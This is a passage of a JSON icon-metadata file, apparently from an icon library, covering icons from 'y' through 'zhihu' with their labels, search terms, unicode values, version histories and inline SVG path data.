        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM7 167c-9.4 9.4-9.4 24.6 0 33.9l55 55L7 311c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55L41 167c-9.4-9.4-24.6-9.4-33.9 0zM265 167c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55zM455 167c-9.4 9.4-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55c-9.4-9.4-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM7 167c-9.4 9.4-9.4 24.6 0 33.9l55 55L7 311c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55L41 167c-9.4-9.4-24.6-9.4-33.9 0zM265 167c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55zM455 167c-9.4 9.4-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55c-9.4-9.4-24.6-9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "y": {
    "aliases": {
      "unicodes": {
        "composite": ["79"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Latin Capital Letter Y",
        "Latin Small Letter Y",
        "letter",
        "yay",
        "yes"
      ]
    },
    "styles": ["solid"],
    "unicode": "59",
    "label": "Y",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M58 45.4C47.8 31 27.8 27.7 13.4 38S-4.3 68.2 6 82.6L160 298.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V298.3L378 82.6c10.3-14.4 6.9-34.4-7.4-44.6S336.2 31 326 45.4L192 232.9 58 45.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M58 45.4C47.8 31 27.8 27.7 13.4 38S-4.3 68.2 6 82.6L160 298.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V298.3L378 82.6c10.3-14.4 6.9-34.4-7.4-44.6S336.2 31 326 45.4L192 232.9 58 45.4z"
      }
    },
    "free": ["solid"]
  },
  "y-combinator": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23b",
    "label": "Y Combinator",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"
      }
    },
    "free": ["brands"]
  },
  "yahoo": {
    "changes": ["4.1.0", "5.0.0", "5.0.3", "5.13.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f19e",
    "label": "Yahoo Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"
      }
    },
    "free": ["brands"]
  },
  "yammer": {
    "changes": ["5.8.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f840",
    "label": "Yammer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.676,159.486a12.779,12.779,0,0,0-6.4-8.282,13.954,13.954,0,0,0-10.078-1.125L457.8,156.7l-.043-.2-22.3,5.785-1.243.333-.608-2.17A369.037,369.037,0,0,0,347.538,4.289a14.1,14.1,0,0,0-19.784-.463l-102.9,102.747H24.947A24.9,24.9,0,0,0,0,131.417V380.38a24.963,24.963,0,0,0,24.918,24.9H224.986L328.072,508a13.667,13.667,0,0,0,19.327,0c.126-.126.249-.255.37-.385a368.025,368.025,0,0,0,69.577-107.374,403.45,403.45,0,0,0,17.3-50.8v-.028l20.406,5.336.029-.073L483.345,362a20.253,20.253,0,0,0,2.619.5,13.359,13.359,0,0,0,4.139-.072,13.5,13.5,0,0,0,10.515-9.924,415.855,415.855,0,0,0,.058-193.013ZM337.125,24.65l.013.014h-.013Zm-110.2,165.161L174.311,281.1a11.338,11.338,0,0,0-1.489,5.655v46.189a22.04,22.04,0,0,1-22.041,22h-3.4A22.068,22.068,0,0,1,125.3,332.962V287.294a11.532,11.532,0,0,0-1.388-5.51l-51.6-92.2a21.988,21.988,0,0,1,19.264-32.726h3.268a22.059,22.059,0,0,1,19.611,11.916l36.357,70.281,37.515-70.512a22.066,22.066,0,0,1,38.556-.695,21.7,21.7,0,0,1,0,21.967ZM337.145,24.673a348.147,348.147,0,0,1,75.8,141.335l.564,1.952-114.134,29.6V131.417a25.006,25.006,0,0,0-24.947-24.9H255.067Zm60.5,367.305v-.043l-.014.014a347.19,347.19,0,0,1-60.177,95.227l-82.2-81.893h19.177a24.978,24.978,0,0,0,24.947-24.9v-66.2l114.6,29.862A385.191,385.191,0,0,1,397.648,391.978Zm84-52.45.015.014-50.618-13.131L299.379,292.1V219.572l119.746-30.99,4.468-1.157,39.54-10.253,18.511-4.816A393,393,0,0,1,481.644,339.528Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M500.676,159.486a12.779,12.779,0,0,0-6.4-8.282,13.954,13.954,0,0,0-10.078-1.125L457.8,156.7l-.043-.2-22.3,5.785-1.243.333-.608-2.17A369.037,369.037,0,0,0,347.538,4.289a14.1,14.1,0,0,0-19.784-.463l-102.9,102.747H24.947A24.9,24.9,0,0,0,0,131.417V380.38a24.963,24.963,0,0,0,24.918,24.9H224.986L328.072,508a13.667,13.667,0,0,0,19.327,0c.126-.126.249-.255.37-.385a368.025,368.025,0,0,0,69.577-107.374,403.45,403.45,0,0,0,17.3-50.8v-.028l20.406,5.336.029-.073L483.345,362a20.253,20.253,0,0,0,2.619.5,13.359,13.359,0,0,0,4.139-.072,13.5,13.5,0,0,0,10.515-9.924,415.855,415.855,0,0,0,.058-193.013ZM337.125,24.65l.013.014h-.013Zm-110.2,165.161L174.311,281.1a11.338,11.338,0,0,0-1.489,5.655v46.189a22.04,22.04,0,0,1-22.041,22h-3.4A22.068,22.068,0,0,1,125.3,332.962V287.294a11.532,11.532,0,0,0-1.388-5.51l-51.6-92.2a21.988,21.988,0,0,1,19.264-32.726h3.268a22.059,22.059,0,0,1,19.611,11.916l36.357,70.281,37.515-70.512a22.066,22.066,0,0,1,38.556-.695,21.7,21.7,0,0,1,0,21.967ZM337.145,24.673a348.147,348.147,0,0,1,75.8,141.335l.564,1.952-114.134,29.6V131.417a25.006,25.006,0,0,0-24.947-24.9H255.067Zm60.5,367.305v-.043l-.014.014a347.19,347.19,0,0,1-60.177,95.227l-82.2-81.893h19.177a24.978,24.978,0,0,0,24.947-24.9v-66.2l114.6,29.862A385.191,385.191,0,0,1,397.648,391.978Zm84-52.45.015.014-50.618-13.131L299.379,292.1V219.572l119.746-30.99,4.468-1.157,39.54-10.253,18.511-4.816A393,393,0,0,1,481.644,339.528Z"
      }
    },
    "free": ["brands"]
  },
  "yandex": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f413",
    "label": "Yandex",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"
      }
    },
    "free": ["brands"]
  },
  "yandex-international": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f414",
    "label": "Yandex International",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"
      }
    },
    "free": ["brands"]
  },
  "yarn": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7e3",
    "label": "Yarn",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"
      }
    },
    "free": ["brands"]
  },
  "yelp": {
    "changes": ["4.2.0", "5.0.0", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1e9",
    "label": "Yelp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"
      }
    },
    "free": ["brands"]
  },
  "yen-sign": {
    "aliases": {
      "names": ["cny", "jpy", "rmb", "yen"],
      "unicodes": {
        "composite": ["a5"],
        "secondary": ["10f157"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Yen Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f157",
    "label": "Yen Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M58.6 46.2C48.8 31.5 29 27.6 14.3 37.4S-4.4 67 5.4 81.7L100.2 224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V288h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H219.8L314.6 81.7c9.8-14.7 5.8-34.6-8.9-44.4s-34.6-5.8-44.4 8.9L160 198.3 58.6 46.2z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M58.6 46.2C48.8 31.5 29 27.6 14.3 37.4S-4.4 67 5.4 81.7L100.2 224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V288h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H219.8L314.6 81.7c9.8-14.7 5.8-34.6-8.9-44.4s-34.6-5.8-44.4 8.9L160 198.3 58.6 46.2z"
      }
    },
    "free": ["solid"]
  },
  "yin-yang": {
    "aliases": {
      "unicodes": {
        "composite": ["262f"],
        "secondary": ["10f6ad"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "daoism",
        "opposites",
        "religion",
        "tao",
        "taoism",
        "taoist",
        "yang",
        "yin",
        "yin yang"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6ad",
    "label": "Yin Yang",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64c53 0 96 43 96 96s-43 96-96 96s-96 43-96 96s43 96 96 96C150 448 64 362 64 256S150 64 256 64zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm32-352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 64c53 0 96 43 96 96s-43 96-96 96s-96 43-96 96s43 96 96 96C150 448 64 362 64 256S150 64 256 64zm0 448A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm32-352a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM224 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "yoast": {
    "changes": ["4.6.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b1",
    "label": "Yoast",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"
      }
    },
    "free": ["brands"]
  },
  "youtube": {
    "aliases": {
      "unicodes": {
        "composite": ["f16a"]
      }
    },
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["film", "video", "youtube-play", "youtube-square"]
    },
    "styles": ["brands"],
    "unicode": "f167",
    "label": "YouTube",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"
      }
    },
    "free": ["brands"]
  },
  "z": {
    "aliases": {
      "unicodes": {
        "composite": ["7a"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter Z", "Latin Small Letter Z", "letter"]
    },
    "styles": ["solid"],
    "unicode": "5a",
    "label": "Z",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 64C0 46.3 14.3 32 32 32H352c12.4 0 23.7 7.2 29 18.4s3.6 24.5-4.4 34.1L100.3 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.4 0-23.7-7.2-29-18.4s-3.6-24.5 4.4-34.1L283.7 96H32C14.3 96 0 81.7 0 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 64C0 46.3 14.3 32 32 32H352c12.4 0 23.7 7.2 29 18.4s3.6 24.5-4.4 34.1L100.3 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-12.4 0-23.7-7.2-29-18.4s-3.6-24.5 4.4-34.1L283.7 96H32C14.3 96 0 81.7 0 64z"
      }
    },
    "free": ["solid"]
  },
  "zhihu": {
    "changes": ["5.2.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f63f",
    "label": "Zhihu",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 